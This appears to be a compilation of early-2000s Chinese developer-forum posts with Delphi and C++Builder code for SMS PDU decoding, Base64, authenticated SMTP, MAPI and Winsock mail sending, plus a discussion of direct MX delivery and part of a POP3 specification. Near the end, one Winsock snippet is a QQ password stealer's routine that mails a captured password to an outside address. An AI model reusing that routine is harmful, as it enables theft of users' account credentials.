until (DivLeft=0) and (length(Result)=4); { 1 token = nibble = 4 bits }

end;

function HexToBin(HexNr : string): string;

{ only stringsize is limit of binnr }

var Counter : integer;

begin

Result:='';

for Counter:=1 to length(HexNr) do

Result:=Result+HexCharToBin(HexNr[Counter]);

end;

function pow(base, power: integer): integer; //指数base^power

var counter : integer;

begin

Result:=1;

for counter:=1 to power do

Result:=Result*base;

end;

function BinStrToInt(BinStr : string) : integer;

var counter : integer;

begin

if length(BinStr)>16 then

raise ERangeError.Create(#13+BinStr+#13+

'不是一个有效的16Bit二进制单元'+#13);

Result:=0;

for counter:=1 to length(BinStr) do

if BinStr[Counter]='1' then

Result:=Result+pow(2,length(BinStr)-counter);

end;

function DecodeSMS7Bit(PDU : string):string;

var OctetStr : string;

OctetBin : string;

Charbin : string;

PrevOctet: string;

Counter : integer;

Counter2 : integer;

begin

PrevOctet:='';

Result:='';

for Counter:=1 to length(PDU) do

begin

if length(PrevOctet)>=7 then { if 7 Bit overflow on previous }

begin

if BinStrToInt(PrevOctet)<>0 then

Result:=Result+Chr(BinStrToInt(PrevOctet))

else Result:=Result+' ';

PrevOctet:='';

end;

if Odd(Counter) then { only take two nibbles at a time }

begin

OctetStr:=Copy(PDU,Counter,2);

OctetBin:=HexToBin(OctetStr);

Charbin:='';

for Counter2:=1 to length(PrevOctet) do

Charbin:=Charbin+PrevOctet[Counter2];

for Counter2:=1 to 7-length(PrevOctet) do

Charbin:=OctetBin[8-Counter2+1]+Charbin;

if BinStrToInt(Charbin)<>0 then Result:=Result+Chr(BinStrToInt(CharBin))

else Result:=Result+' ';

PrevOctet:=Copy(OctetBin,1,length(PrevOctet)+1);

end;

end;

end;

function ReverseStr(SourceStr : string) : string;

var Counter : integer;

begin

Result:='';

for Counter:=1 to length(SourceStr) do

Result:=SourceStr[Counter]+Result;

end;

function GB2UniCode(GB:string):string;

var

s: string;

i, j, k: integer;

a: array [1..160] of char;

begin

s:='';

StringToWideChar(GB, @(a[1]), 500);

i:=1;

while ((a[i]<>#0) or (a[i+1]<>#0)) do begin

j:=Integer(a[i]);

k:=Integer(a[i+1]);

s:=s+Copy(Format('%X ',[k*$100+j+$10000]) ,2,4);

//S := S + Char(k)+Char(j);

i:=i+2;

end;

Result:=s;

end;

function UniCode2GB(S : String):String;

Var I: Integer;

begin

I := Length(S);

while I >=4 do begin

try

Result :=WideChar(StrToInt('$'+S[I-3]+S[I-2]+S[I-1]+S[I]))+ Result;

except end;

I := I - 4;

end;

end;

end.

Top

回复人： shuixin13(犬犬（心帆）) ( ) 信誉：100 2002-7-17 1:49:36 得分:0

AT COMMAND_v8.6,

GSM_v0705,

SMS PDU-mode

是编程所需要的技术文件，在网上找找吧


SMS Driver

附件>>>> SMSDriver.rar


SMTP安全认证的邮件发送程序
c:ehlo hostname

s:250-smtp.263.net

250-pipelining

250-size 10240000

250-etrn

250-auth login

250-8bitmime

以上是与邮件服务器连接，即nmsmtp1->connect,以下是连接后的验证：

c:auth login

s:334VXNlcm5hbWU6（username:)

c:b(你的用户名转换成base64码）

s:334UGFzc3dvcmQ6(password:)

c:x（你的密码转换成base64码）

nmsmtp有个transaction方法,在onconnect事件中加入验证过程，

nmsmtp1->transaction("auth login"),返回值是334表示通过，可以继续下面的

nmsmtp1->transaction（你的用户名转换成base64码）

nmsmtp1->transaction(你的密码转换成base64码)

如果返回235表示验证成功，你就可以发邮件了

linzi(林子)　(2001-4-19 10:46:00) 得0分

//这是我写的一个演示程序，

//窗体上有一个BUTTON控件，一个LABEL控件，一个NMSMTP控件

//带密码险证的邮件发送程序需要BASE64编码，DecodeBase64和 EncodeBase64

//为解码和编码函数

//在263、163和SOHU上都能发送成功

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, Psock, NMsmtp, ComCtrls;

type

TForm1 = class(TForm)

NMSMTP1: TNMSMTP;

Button1: TButton;

Label1: TLabel;

procedure Button1Click(Sender: TObject);

procedure NMSMTP1Connect(Sender: TObject);

procedure NMSMTP1InvalidHost(var Handled: Boolean);

procedure NMSMTP1ConnectionFailed(Sender: TObject);

procedure NMSMTP1Status(Sender: TComponent; Status: String);

procedure NMSMTP1SendStart(Sender: TObject);

procedure NMSMTP1Success(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

//BaseTable为BASE64码表

const BaseTable:string='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';

var

Form1: TForm1;

AuthSucc:boolean;// 是否需要密码验证

function DecodeBase64(Source:string):string; //解码函数

function FindInTable(CSource:char):integer; //

function EncodeBase64(Source:string):string; //编码函数

implementation

{$R *.DFM}

//

function FindInTable(CSource:char):integer;

begin

result:=Pos(string(CSource),BaseTable)-1;

end;

////

function DecodeBase64(Source:string):string;

var

SrcLen,Times,i:integer;

x1,x2,x3,x4,xt:byte;

begin

result:='';

SrcLen:=Length(Source);

Times:=SrcLen div 4;

for i:=0 to Times-1 do

begin

x1:=FindInTable(Source[1+i*4]);

x2:=FindInTable(Source[2+i*4]);

x3:=FindInTable(Source[3+i*4]);

x4:=FindInTable(Source[4+i*4]);

x1:=x1 shl 2;

xt:=x2 shr 4;

x1:=x1 or xt;

x2:=x2 shl 4;

result:=result+chr(x1);

if x3= 64 then break;

xt:=x3 shr 2;

x2:=x2 or xt;

x3:=x3 shl 6;

result:=result+chr(x2);

if x4=64 then break;

x3:=x3 or x4;

result:=result+chr(x3);

end;

end;

/////

function EncodeBase64(Source:string):string;

var

Times,LenSrc,i:integer;

x1,x2,x3,x4:char;

xt:byte;

begin

result:='';

LenSrc:=length(Source);

if LenSrc mod 3 =0 then Times:=LenSrc div 3

else Times:=LenSrc div 3 + 1;

for i:=0 to times-1 do

begin

if LenSrc >= (3+i*3) then

begin

x1:=BaseTable[(ord(Source[1+i*3]) shr 2)+1];

xt:=(ord(Source[1+i*3]) shl 4) and 48;

xt:=xt or (ord(Source[2+i*3]) shr 4);

x2:=BaseTable[xt+1];

xt:=(Ord(Source[2+i*3]) shl 2) and 60;

xt:=xt or (ord(Source[3+i*3]) shr 6);

x3:=BaseTable[xt+1];

xt:=(ord(Source[3+i*3]) and 63);

x4:=BaseTable[xt+1];

end

else if LenSrc>=(2+i*3) then

begin

x1:=BaseTable[(ord(Source[1+i*3]) shr 2)+1];

xt:=(ord(Source[1+i*3]) shl 4) and 48;

xt:=xt or (ord(Source[2+i*3]) shr 4);

x2:=BaseTable[xt+1];

xt:=(ord(Source[2+i*3]) shl 2) and 60;

x3:=BaseTable[xt+1];

x4:='=';

end else

begin

x1:=BaseTable[(ord(Source[1+i*3]) shr 2)+1];

xt:=(ord(Source[1+i*3]) shl 4) and 48;

x2:=BaseTable[xt+1];

x3:='=';

x4:='=';

end;

result:=result+x1+x2+x3+x4;

end;

end;

//////////

procedure TForm1.Button1Click(Sender: TObject);

var MailTo,MailBody:TStringList;

begin

Nmsmtp1.Host :='smtp.sohu.com';

nmsmtp1.Port :=25;

nmsmtp1.UserID :='linbch';//发信人的用户名，必须是真实的

nmsmtp1.ReportLevel :=1;

Nmsmtp1.TimeOut :=10000;

nmsmtp1.Connect ; ///连接

if AuthSucc=true then ////验证成功

begin

MailTo:=TStringList.Create;

MailTo.Add('cunmin1@163.net');

MailBody.Add('Hello it is a test');

nmsmtp1.PostMessage.FromAddress:='linbch@sohu.com'; //发信人的电子邮件地址

nmsmtp1.PostMessage.ToAddress :=MailTo;

nmsmtp1.PostMessage.Body:=MailBody;

nmsmtp1.PostMessage.Subject :='My test';

Mailto.Clear ;

//Mailto.Add('c:.txt');

//Mailto.Add('c:.txt');

//nmsmtp1.PostMessage.Attachments:=MailTo; 附件

MailTo.Free ;

MailBody.Free;

nmsmtp1.SendMail;

end;

end;

procedure TForm1.NMSMTP1Connect(Sender: TObject);

begin

//////连接成功，下面用户认证过程

label1.caption:=nmsmtp1.Status;

if nmsmtp1.ReplyNumber = 250 then

label1.caption:=nmsmtp1.Transaction('auth login'); //开始认证

if nmsmtp1.ReplyNumber =334 then //返回值为334，让你输入用BASE64编码后的用户名

label1.caption:=nmsmtp1.Transaction('YWFhYWE=');// 用户名aaaaa

if nmsmtp1.ReplyNumber =334 then // 返回值为334，让你输入用BASE64编码后的用户密码

label1.caption:=nmsmtp1.Transaction('MTIzNDU2'); //密码为123456

if nmsmtp1.ReplyNumber =235 then

begin

label1.caption:='successful';

AuthSucc:=true;

end;

//showmessage(label1.caption);

end;

procedure TForm1.NMSMTP1InvalidHost(var Handled: Boolean);

begin

label1.caption :='Invalid Host';

end;

procedure TForm1.NMSMTP1ConnectionFailed(Sender: TObject);

begin

label1.caption :='connect failed';

end;

procedure TForm1.NMSMTP1Status(Sender: TComponent; Status: String);

begin

label1.caption :=nmsmtp1.Status ;

end;

procedure TForm1.NMSMTP1SendStart(Sender: TObject);

begin

label1.Caption :='start send';

end;

procedure TForm1.NMSMTP1Success(Sender: TObject);

begin

label1.Caption:='send success!';

end;

end.

  回复人：linzi(林子)　(2001-4-19 17:05:00) 得0分

上面是用DELPHI写的，发送部分基本是一样的都是在CONNECT中验证，下面是C++ BUILDER写的BASE64编码解码程序，请多多指教：

//---------------------------------------------------------------------------

#include <vcl.h>

#pragma hdrstop

#include "Unit2.h"

const AnsiString BaseTable="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

byte FindInTable(byte c);

//---------------------------------------------------------------------------

#pragma package(smart_init)

////

AnsiString DecodeBase64(AnsiString Source)

{

byte x1,x2,x3,x4,xt;

int SrcLen,Times,i;

AnsiString Result;

Result="";

SrcLen=Source.Length();

Times=SrcLen / 4;

for(i=0;i<Times;i++)

{

x1=FindInTable(Source[1+i*4]);

x2=FindInTable(Source[2+i*4]);

x3=FindInTable(Source[3+i*4]);

x4=FindInTable(Source[4+i*4]);

x1<<=2;

xt=x2>>4;

x1=x1 | xt;

Result+=char(x1);

//ShowMessage(char(x1));

x2<<=4;

if (x3==64) break;//x3 不是"="号

xt=x3>>2;

x2=x2 | xt;

x3<<=6;

Result+=char(x2);

if (x4==64) break;

x3=x3 | x4;

Result+=char(x3);

}

return Result;

}

//////////

AnsiString EncodeBase64(AnsiString Source)

{

int Times,LenSrc,i;

unsigned char x1,x2,x3,x4,xt,xt1;

AnsiString Result;

Result="";

LenSrc=Source.Length();

if (LenSrc % 3==0) Times=LenSrc/3;

else Times=LenSrc/3+1;

for(i=0;i<Times;i++)

{

if (LenSrc>=(3*i+3))

{

xt=Source[1+i*3];

xt>>=2;

x1=BaseTable[xt+1];

xt=Source[1+i*3];

xt<<=4;

xt&=48;

xt1=Source[2+i*3];

xt1>>=4;

xt|=xt1;

x2=BaseTable[xt+1];

xt=Source[2+i*3];

xt<<=2;

xt&=60;

xt1=Source[3+i*3];

xt1>>=6;

xt|=xt1;

x3=BaseTable[xt+1];

xt=Source[3+i*3] ;

xt&=63;

x4=BaseTable[xt+1];

}

else if (LenSrc>=3*i+2)

{

xt=Source[1+i*3];

xt>>=2;

x1=BaseTable[xt+1];

xt=Source[1+i*3];

xt<<=4;

xt&=48;

xt1=Source[2+i*3];

xt1>>=4;

xt|=xt1;

x2=BaseTable[xt+1];

xt=Source[2+i*3];

xt<<=2;

xt&= 60;

x3=BaseTable[xt+1];

x4='=';

}

else

{

xt=Source[1+i*3];

xt>>=2;

x1=BaseTable[xt+1];

xt=Source[1+i*3] ;

xt<<=4;

xt&=48;

x2=BaseTable[xt+1];

x3='=';

x4='=';

}

Result+=char(x1);

Result+=char(x2);

Result+=char(x3);

Result+=char(x4);

}

return Result;

}

///////////

byte FindInTable(byte c)

{

//ShowMessage(char(c));

return BaseTable.Pos(char(c))-1;

}


使用TNMSMTP控件在需认证服务器上发送邮件
使用TNMSMTP控件在需认证服务器上发送邮件

关键字 认证、NMSTMP

CoolSlob

前言：

    现在很多STMP服务器在发送邮件时均需重新认证一遍，而Delphi的TNMSMTP控件对它没有很“可视化”的支持，使很多人在开发过程中大打问号。

    由于前段时间在做《CSDN查询助手》的时候，使用的也是需认证的服务器（163.com）。从其它地方摘取了部分代码得以解决，现在此发布与大家共享。

实现：

1、在NMSMTP的OnConnect事件中添加代码：

var strUserName, strPassword: String;

begin

strUserName := EncodeString('CoolSlob');//CoolSlob是服务器的帐号

strPassword := EncodeString('Password');//Password是密码

{进行认证，输入编码后的用户名、密码}

nmsmtp1.Transaction('EHLO') ;

nmsmtp1.Transaction('AUTH LOGIN');

nmsmtp1.Transaction(strUserName);

nmsmtp1.Transaction(strPassword);

StatusBar1.SimpleText := '连接成功';

end;

2、EncodeString函数实现过程：

{对参数Decoded字符串进行Base64编码，返回编码后的字符串}

function EncodeString(Decoded:string):String;

var

mmTemp,mmDecoded:TMemoryStream;

strTemp:TStrings;

begin

mmTemp := TMemoryStream.Create;

mmDecoded:=TMemoryStream.Create;

strTemp:=TStringList.Create;

strTemp.Add(Decoded);

strTemp.SaveToStream(mmTemp);

mmTemp.Position := 0;

{剔除mmTemp从strTemp中带来的字符#13#10}

mmDecoded.CopyFrom(mmTemp,mmTemp.Size-2);

{对mmDecoded进行Base64编码，由mmTemp返回编码后的结果}

EncodeBASE64(mmTemp,mmDecoded);

{获得Base64编码后的字符串}

mmTemp.Position:=0;

strTemp.LoadFromStream(mmTemp);

{返回结果必须从strTemp[0]中获得，如果使用strTemp.Text会

带来不必要的字符#13#10}

Result:=strTemp[0];

end;

3、EncodeBASE64函数实现过程：

function EncodeBASE64(Encoded: TMemoryStream ; Decoded: TMemoryStream): Integer;

const

_Code64: String[64] =

('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/');

var

I: LongInt;

B: array[0..2279] of Byte;

J, K, L, M, Quads: Integer;

Stream: string[76];

EncLine: String;

begin

Encoded.Clear;

Stream := '';

Quads := 0;

{为提高效率，每2280字节流为一组进行编码}

J := Decoded.Size div 2280;

Decoded.Position := 0;

{对前J*2280个字节流进行编码}

for I := 1 to J do

begin

Decoded.Read(B, 2280);

for M := 0 to 39 do

begin

for K := 0 to 18 do

begin

L:= 57*M + 3*K;

Stream[Quads+1] := _Code64[(B[L] div 4)+1];

Stream[Quads+2] := _Code64[(B[L] mod 4)*16 + (B[L+1] div 16)+1];

Stream[Quads+3] := _Code64[(B[L+1] mod 16)*4 + (B[L+2] div 64)+1];

Stream[Quads+4] := _Code64[B[L+2] mod 64+1];

Inc(Quads, 4);

if Quads = 76 then

begin

Stream[0] := #76;

EncLine := Stream+#13#10;

Encoded.Write(EncLine[1], Length(EncLine));

Quads := 0;

end;

end;

end;

end;

{对以2280为模的余数字节流进行编码}

J := (Decoded.Size mod 2280) div 3;

for I := 1 to J do

begin

Decoded.Read(B, 3);

Stream[Quads+1] := _Code64[(B[0] div 4)+1];

Stream[Quads+2] := _Code64[(B[0] mod 4)*16 + (B[1] div 16)+1];

Stream[Quads+3] := _Code64[(B[1] mod 16)*4 + (B[2] div 64)+1];

Stream[Quads+4] := _Code64[B[2] mod 64+1];

Inc(Quads, 4);

{每行76个字符}

if Quads = 76 then

begin

Stream[0] := #76;

EncLine := Stream+#13#10;

Encoded.Write(EncLine[1], Length(EncLine));

Quads := 0;

end;

end;

{“=”补位}

if (Decoded.Size mod 3) = 2 then

begin

Decoded.Read(B, 2);

Stream[Quads+1] := _Code64[(B[0] div 4)+1];

Stream[Quads+2] := _Code64[(B[0] mod 4)*16 + (B[1] div 16)+1];

Stream[Quads+3] := _Code64[(B[1] mod 16)*4 + 1];

Stream[Quads+4] := '=';

Inc(Quads, 4);

end;

if (Decoded.Size mod 3) = 1 then

begin

Decoded.Read(B, 1);

Stream[Quads+1] := _Code64[(B[0] div 4)+1];

Stream[Quads+2] := _Code64[(B[0] mod 4)*16 + 1];

Stream[Quads+3] := '=';

Stream[Quads+4] := '=';

Inc(Quads, 4);

end;

Stream[0] := Chr(Quads);

if Quads > 0 then

begin

EncLine := Stream+#13#10;

Encoded.Write(EncLine[1], Length(EncLine));

end;

Result := Encoded.Size;

end;

声明：

    上述代码非本人所作，由于不知其原始出处，故仍作为“原创”！


邮件转发
请赐招：能有办法绕开SMTP的身份验证吗？

    有一些SMTP服务器不需要身份验证，而另一些需要身份验证。如果我的信不直接发送，而是通过一个不需身份验证的SMTP发送，是否就能绕开身份验证？

    按此思路，是否可以在本地编程模拟实现一个SMTP服务（当然不是完全的），达到此目的？

    我不明白的是：SMTP服务器之间的通信过程是否与客户机对SMTP服务器的通信过程是一样的，也是需要helo、mail、rcpt等交互命令。

    如果行得通，那又该如何实现，望高手们赐招。

TLong(天龙)　(2001-5-7 22:48:00) 得0分

那个不需验证的SMTP又是如何与需要验证的SMTP进行通讯的？？？

也就是说中转邮件为什么不需身份验证？如何在本地编程实现类似的功能？？？

  回复人：BCB(:))　(2001-5-7 23:11:00) 得0分

第一个SMTP邦助发信到目的POP3信箱，它不需与目的SMTP打交道，它只要

跟目的POP3打交道,所以不需再次验证SMTP，

详细你要了解SMTP与POP3的低层协议才能知道

  回复人：TLong(天龙)　(2001-5-8 17:47:00) 得0分

我所知道的过程大致是这样的（也许不准确）。

Client -> 第一个SMTP -> ... 中转SMTP ... -> 目的SMTP -> 保存 <- POP3 <- 收件人

某个SMTP收到一封信后，它会分析收件人所在的域，也就是信箱中“@”字符后的部分。如果是本地的，就保留；反之该SMTP会查询DNS（域名服务器），找到负责该域的MX（邮件交换）记录。而某个域的MX记录也许有多条，也就是说有多个SMTP服务器，但它们的优先级不一样。优先级用数字表示，数字越小，优先级越高。优先级高的SMTP会首先被选择，如果由于某些原因不能连接，优先级低的SMTP会被选择中转（或分发）邮件。

邮件传送过程中的每一个SMTP在收到邮件后都会在信头加一条Received记录。

以前我在用Windows NT 4.0 + NT Option Pack的过程中发现，NT Option Pack中有一个SMTP服务，可以发邮件给它，而SMTP服务仅仅只是简单地将邮件存到特定的目录中，所以可以利用CDO对象写一个ASP程序直接在网页中收信。通过该过程，我留下了一个印象，收发邮件似乎不需要POP3的支持。那POP3是干什么的呢？我认为POP3只是提供一个认证身份，从而帮助从特定目录下读取属于你自己的邮件的一个服务。

以上过程若有不对的地方请指正。

所以我想知道的是：Client -> SMTP 与 SMTP -> SMTP 这两个过程有何不同，为什么第一个过程需要身份验证，而第二个过程不需身份验证。能否用程序将第一个过程模拟成第二个过程，从而绕开身份验证。

谢谢！

  回复人：BCB(:))　(2001-5-9 9:39:00) 得0分

你写的我看不懂,

我个人认为：发一封信给对方：

Smtp-----直接-------->pop3（目的信箱)

我认为没有涉及第二个SMTP,道理很简单：你的发信软件的参数并没有设定其它SMTP

的服务器名称，它怎么找到或知道你说的一批SMTP？！

  回复人：liuj0771()　(2001-5-9 10:39:00) 得0分

我看了最近几期<中国计算机报>,有关于Sendmail的配置的,好像如果服务器要password是没法绕过去的.

www.ccidnet.com

  回复人：TLong(天龙)　(2001-5-23 10:19:00) 得0分

从猎手与蚂蚁收藏馆http://extend.hk.hi.cn/~dzc/看到一个软件，其中邮件发送模块能实现直发。这就绕开了SMTP验证。

********** 是否有高手指点是如何实现的 **********

２００１－０５－１６

Fantasia 2001@ 5.1 /浏览器部分(@5.1)/SK版(4.12版)

新版本特性:

◎修正了浏览一段时间可能出现网页失去响应(停滞)的Bug

◎暂时去除了菜单的右键和拖放支持，下个版本改进后重新加入。

◎邮件发送模块 ->支持邮件直发，即不通过SMTP服务器中转，直接发送到对方的邮箱，安全，快速，发送完毕对方即可接收到您发出的邮件 ,支持附件 :)

◎自动填表->可能您并不需要经常填写一些表格

◎浏览模块,支持智能分段

◎浏览控制->增加了鼠标左右双键关闭页面的支持，使用双击关闭时想必大家都遇到过一不小心错误关闭

◎Fantasia的Ctrl+F8隐藏功能给大家带来了不少方便，可有不少朋友反映Ctrl+F8太难按了，老板来的时候..，嘿嘿 OK,现在改成了Ctrl+Tab....

  回复人：TLong(天龙)　(2001-5-23 10:21:00) 得0分

等待解答

  回复人：TLong(天龙)　(2001-6-6 11:43:00) 得0分

有一篇相关文章：http://www.csdn.net/develop/article/7/7937.shtm

什么是邮件转发(mail relay)

技巧管理员(2000-12-24 10:18)

〖返回〗〖转发〗

设置好一个email服务器以后，该服务器将具有一个或若干个域名，这时email服务器将监听25号端口，等待远程的发送邮件的请求。网络上其他的mail服务器或者请求发送邮件的MUA(Mail User Agent,如outlook express、foxmail等等)会连接email服务器的25号端口，请求发送邮件，SMTP会话过程一般是从远程标识自己的身份开始，过程如下：

HELO remote.system.domainname

250 qmailserver.domain

MAIL FROM：user@somewherer.net

250 OK

RCPT TO: user1@elsewhere.net

邮件的接收者user1@elsewhere.net中的域名并不一定是本地域名，这时候本地系统可能有两种回答，接受它：

250 OK

或者拒绝接受它:

553 sorry,.that domain isnot in my domain list of allowed recphosts

第一种情况下，本地email服务器是允许relay的，它接收并同意传递一个目的地址不属于本地域名的邮件；而第二种情况则不接收非本地邮件。

email一般都有一个配置文件，其决定了是否接受一个邮件。只有当一个RCPT TO命令中的接收者地址的域名存在于该文件中时，才接受该邮件,否则就拒绝该邮件。若该文件不存在，则所有的邮件将被接受。当一个邮件服务器不管邮件接收者和邮件接收者是谁，而是对所有邮件进行转发(relay)，则该邮件服务器就被称为开放转发(open relay)的。当email服务器没有设置转发限制时，其是开放转发的。

  回复人：mycode(不写代码)　(2001-6-6 11:50:00) 得0分

很简单,如果你要绕开SMTP的身份验证,你只需直接发信到收信人的SMTP服务器;如发信给我

wenjl@163.net;在NT或2000下,可以用

Nslookup -type=mx 163.net

Server: pdns.zbii.com

Address: 202.102.137.68

Non-authoritative answer:

163.net MX preference = 10, mail exchanger = bjmx.163.net

163.net nameserver = NS.163.net

163.net nameserver = BJNS.163.net

bjmx.163.net internet address = 202.108.255.239

NS.163.net internet address = 202.108.255.201

BJNS.163.net internet address = 202.108.255.202

其中:你可以用bjmx.163.net或它的IP地址作为你的邮件服务器的地址;这样你就可以直接投递了,不需身份验证;

SMTP服务器就是采用如此的原理来做的

  回复人：TLong(天龙)　(2001-6-8 11:00:00) 得0分

感谢mycode的解答！

好像是那么回事！让我再仔细地试一试！测试结果我再贴上来！

  回复人：BCB(:))　(2001-6-8 11:09:00) 得0分

这个问题还在纠缠！不明白！

对一个特定的SMTP服务器，如果它非要验明正身，

你怎么可能绕过它的验证，除非它自身有毛病，

或者你改用其它不需验证的SMTP!

  回复人：Kingron(戒网中……)　(2001-6-8 11:16:00) 得0分

赫赫,就是分解收信人的地址的后面的部分,然后进行域名解释,然后把收信人的Pop服务器直接填写城那个就可以,电脑编程技巧与维护上面有一个直接邮件转发的例子,是周志方写的.有Delphi的代码.MyCode说的很清楚了.

  回复人：g622(g622)　(2001-6-8 11:32:00) 得0分

那个认证一般只在客户端代理和smtp服务器进行，邮件网关是不要求的，因为认证只是可选的扩展 而不是必须的


MPI发送邮件
var

MapiMessage: TMapiMessage;

MError: Cardinal;

begin

with MapiMessage do

begin

ulReserved := 0;

lpszSubject := nil;

// lpszNoteText := PChar(RichEdit1.Lines.Text);

lpszNoteText := PChar('fuck');

lpszMessageType := nil;

lpszDateReceived := nil;

lpszConversationID := nil;

flFlags := 0;

lpOriginator := nil;

nRecipCount := 0;

lpRecips := nil;

nFileCount := 0;

lpFiles := nil;

end;

MError := MapiSendMail(0, 0, MapiMessage,

MAPI_DIALOG or MAPI_LOGON_UI or MAPI_NEW_SESSION, 0);

if MError <> 0 then MessageDlg(SSendError, mtError, [mbOK], 0);

还可以自己对错误进行处理


纯api的发送邮件程序
function SendMail(const Subject, Body, FileName,

SenderName, SenderEMail,

RecepientName, RecepientEMail: string): Integer;

var

Message: TMapiMessage;

lpSender, lpRecepient: TMapiRecipDesc;

FileAttach: TMapiFileDesc;

SM: TFNMapiSendMail;

MAPIModule: HModule;

begin

FillChar(Message, SizeOf(Message), 0);

with Message do

begin

if (Subject <> '') then lpszSubject := PChar(Subject);

if (Body <> '') then lpszNoteText := PChar(Body);

if (SenderEmail <> '') then

begin

lpSender.ulRecipClass := MAPI_ORIG;

if (SenderName = '') then

lpSender.lpszName := PChar(SenderEMail)

else

lpSender.lpszName := PChar(SenderName);

lpSender.lpszAddress := PChar(SenderEmail);

lpSender.ulReserved := 0;

lpSender.ulEIDSize := 0;

lpSender.lpEntryID := nil;

lpOriginator := @lpSender;

end;

if (RecepientEmail <> '') then

begin

lpRecepient.ulRecipClass := MAPI_TO;

if (RecepientName = '') then

lpRecepient.lpszName := PChar(RecepientEMail)

else

lpRecepient.lpszName := PChar(RecepientName);

lpRecepient.lpszAddress := PChar(RecepientEmail);

lpRecepient.ulReserved := 0;

lpRecepient.ulEIDSize := 0;

lpRecepient.lpEntryID := nil;

nRecipCount := 1;

lpRecips := @lpRecepient;

end

else

lpRecips := nil;

if (FileName = '') then

begin

nFileCount := 0;

lpFiles := nil;

end

else

begin

FillChar(FileAttach, SizeOf(FileAttach), 0);

FileAttach.nPosition := Cardinal($FFFFFFFF);

FileAttach.lpszPathName := PChar(FileName);

nFileCount := 1;

lpFiles := @FileAttach;

end;

end;

MAPIModule := LoadLibrary(PChar(MAPIDLL));

if MAPIModule = 0 then

Result := -1

else

try

@SM := GetProcAddress(MAPIModule, 'MAPISendMail');

if @SM <> nil then

begin

Result := SM(0, Application.Handle, Message, MAPI_DIALOG or

MAPI_LOGON_UI, 0);

end

else

Result := 1;

finally

FreeLibrary(MAPIModule);

end;

if Result <> 0 then

MessageDlg('Error sending mail (' + IntToStr(Result) + ').', mtError,

[mbOK], 0);

end;

**********************

下面是利用WinSock发送电子邮件的例子：

whaoye：

program SendMail;

uses

winsock;

{$R *.RES}

procedure sendmails;stdcall;

var

s:tsocket;

buffer:array[0..255] of char;

errorcode:integer;

mailserver:tsockaddr;

begin

mailserver.sin_family:=af_inet;

mailserver.sin_port:=htons(25);

mailserver.sin_addr.S_addr:=inet_addr('202.104.32.230');

s:=socket(af_inet,sock_stream,0);

errorcode:=connect(s,mailserver,sizeof(mailserver));

if errorcode<>invalid_socket then

begin

buffer:='HELO'+#13#10;

send(s,buffer,length('HELO'+#13#10),0);

buffer:='MAIL FROM: whaoye@21cn.com'+#13#10;

send(s,buffer,length('MAIL FROM: whaoye@21cn.com'+#13#10),0);

buffer:='RCPT TO:administrator@godeye'+#13#10;

send(s,buffer,length('RCPT TO:administrator@godeye'+#13#10),0);

buffer:='DATA'+#13#10;

send(s,buffer,length('DATA'+#13#10),0);

buffer:='FROM:whaoye@21cn.com'+#13#10;

send(s,buffer,length('FROM:whaoye@21cn.com'+#13#10),0);

buffer:='TO:administrator@godeye'+#13#10;

send(s,buffer,length('TO:administrator@21cn.com'+#13#10),0);

buffer:='SUBJECT:just a test!'+#13#10;

send(s,buffer,length('SUBJECT:just a test!'+#13#10),0);

buffer:='I LOVE THIS GAME!'+#13#10;

send(s,buffer,length('I LOVE THIS GAME!'+#13#10),0);

buffer:='.'+#13#10;

send(s,buffer,length('.'+#13#10),0);

buffer:='QUIT'+#13#10;

send(s,buffer,length('QUIT'+#13#10),0);

closesocket(s);

end;

end;

var

wsa:twsadata;

begin

wsastartup($0202,wsa);

sendmails;

wsacleanup;

end.

*******************

//下面是个发信的子过程,取得密码后发回getoicq@21cn.com邮箱

procedure MailSend;

begin

err:=recv(FSocket,sbuf,400,0);

s1:=strpas(sbuf);

inc(step);

case step of

1:s1:='HELO smtp.hacker.com'+CRLF;

2:s1:='MAIL FROM: <getoicq@21cn.com>'+CRLF;

3:s1:='RCPT TO: <'+email+'>'+CRLF;

4:s1:='DATA'+CRLF;

5:s1:='From:"Oicq Hack"<www.hacker.com>'+CRLF

+'To:"getoicq"<www.password.com>'+CRLF

+'Subject:QQ2001 Password come.'+CRLF

+CRLF

+newpass+CRLF

+'.'+CRLF;

6:s1:='QUIT'+CRLF;

else

step:=0;

end;

strcopy(sbuf,pchar(s1));

err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE);

end;

//发信主过程

procedure SendPass;

begin

err:=WSAStartup($0101,WSAData);

FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);

//利用 smtp.21cn.com 进行发信

fhost:='202.104.32.230';

fport:=25;

SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost));

SockAddrIn.sin_family := PF_INET;

SockAddrIn.sin_port :=htons(Fport);

err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));

step:=0;

repeat

MailSend;

until step=0;

err:=closesocket(FSocket);

err:=WSACleanup;

end;


POP3 邮局协议-版本3
POP3 邮局协议-版本3

1. 简介

对于在网络上的比较小的结点，支持消息传输系统（MTS）是不实际的。例如，一台工作站可能不具有充足的资源允许SMTP服务器和相当的本地邮件传送系统保持序驻留，并持续运行。同样的，将一台个人计算机长时间连接在IP类型网络上的费用也是可观的（结点缺少的资源被称为“联络性”）。

虽然如此，在这样的小结点上允许管理邮件是十分有用的，并且这些结点经常支持一个用户代理来管理邮件。为解决这一问题，能够支持MTS的结点就为这些不能支持的结点提供了邮件存储功能。邮局协议-版本3就是使这样的工作站可以用一种比较实用的方法来访问存储于服务器上的储存邮件。通常，这意味着工作站可以从服务器上取得邮件，而服务器为它暂时保存邮件。

在下文中，客户主机指的是利用POP3服务的主机，而服务器主机指的是提供POP3服务的主机。

2. 简单说明

在此文档中不指明客户主机如何将邮件送入到传送系统中去。但这里有一个说明：当用户代理需要将信息送到传送系统时，它在接力主机上建立SMTP连接（这些接力主机可以是POP3主机，也可以不是）。

3. 基本操作

初始时，服务器通过侦听TCP端口110开始POP3服务。当客户主机需要使用服务时，它将与服务器主机建立TCP连接。当连接建立后，POP3发送确认消息。客户和POP3服务器相互（分别）交换命令和响应，这一过程一直要持续到连接终止。

